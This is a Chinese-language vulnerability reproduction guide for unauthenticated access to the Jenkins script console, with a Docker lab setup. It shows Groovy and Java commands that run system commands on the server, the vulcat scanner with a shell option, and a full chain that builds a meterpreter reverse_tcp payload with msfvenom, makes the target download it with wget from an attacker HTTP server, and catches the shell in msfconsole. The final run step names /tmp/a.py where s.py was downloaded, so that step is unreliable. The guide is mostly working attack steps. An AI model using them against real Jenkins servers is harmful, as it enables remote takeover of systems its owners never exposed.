jenkins未授权访问
# 🧡 Jenkins未授权访问
# 1)漏洞信息
漏洞名称 | 受影响组件 | 漏洞类型 | 漏洞编号 |
---|---|---|---|
Jenkins未授权访问 | Jenkins (opens new window) | 未授权访问 | 暂无 |
漏洞简介 |
---|
默认情况下 Jenkins面板中用户可以选择执行脚本界面 来操作一些系统层命令 攻击者可通过未授权访问漏洞,或者暴力破解用户密码等方式进入后台管理服务,通过脚本执行界面获取服务器权限 |
参考链接 |
---|
补丁及修复方案 |
---|
|
网络空间测绘 |
---|
FOFA:
|
FOFA:
|
FOFA:
|
# 2)漏洞环境
此处使用官方镜像 (opens new window)搭建漏洞环境
docker pull jenkins:1.625.1
docker run -itd -p 8080:8080 -p 50000:50000 jenkins:1.625.1
1
2
2

启动容器后,访问8080端口即可看到 jenkins 页面
# 3)漏洞复现-手工
点击 “系统管理” --> “脚本命令行”
输入以下脚本,然后点击 “运行”,即可在下方看到执行结果。
println "whoami".execute().text
println "cat /etc/hosts".execute().text
1
2
3
2
3


除了上面的 Groovy 语法以外,还可以通过 java 的方式来实现命令执行:
这种方法与 ElasticSearch 的 CVE-2015-1427 (opens new window) 有点类似。
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("whoami").getText()
1

# 4)漏洞复现-vulcat
python3 vulcat.py -u <URL> -v jenkins-unauth
1

支持 --shell
选项
python3 vulcat.py -u <URL> -v jenkins-unauth --shell
1


你可以通过vcsearch
语法,使用正则表达式精确匹配回显的位置
# 搜索 <h2>Result</h2> 及其后面的 300 个字符
id | vcsearch <h2>Result</h2>.{0,300}
1
2
2

# 5)漏洞复现-GetShell
使用msfvenom
生成载荷
msfvenom -p python/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<你的端口> -f raw > s.py
1


接着,在s.py
所在目录下,使用 python 在攻击机本地启动一个 HTTP 服务
python3 -m http.server --bind 192.168.80.1 80
1
然后在 jenkins 脚本命令行中,通过 wget 下载 s.py
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("wget http://192.168.80.1/s.py -O /tmp/s.py").getText()
1

在攻击机上运行 msfconsole,并设置载荷:
use exploit/multi/handler
set lhost <你的IP>
set lport <你的端口>
set payload python/meterpreter/reverse_tcp
# 运行
run
1
2
3
4
5
6
7
2
3
4
5
6
7

在 jenkins 脚本命令行通过 python 运行 /tmp/s.py
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("python /tmp/a.py").getText()
1

回到 msfconsole 窗口,成功连接


编辑 (opens new window)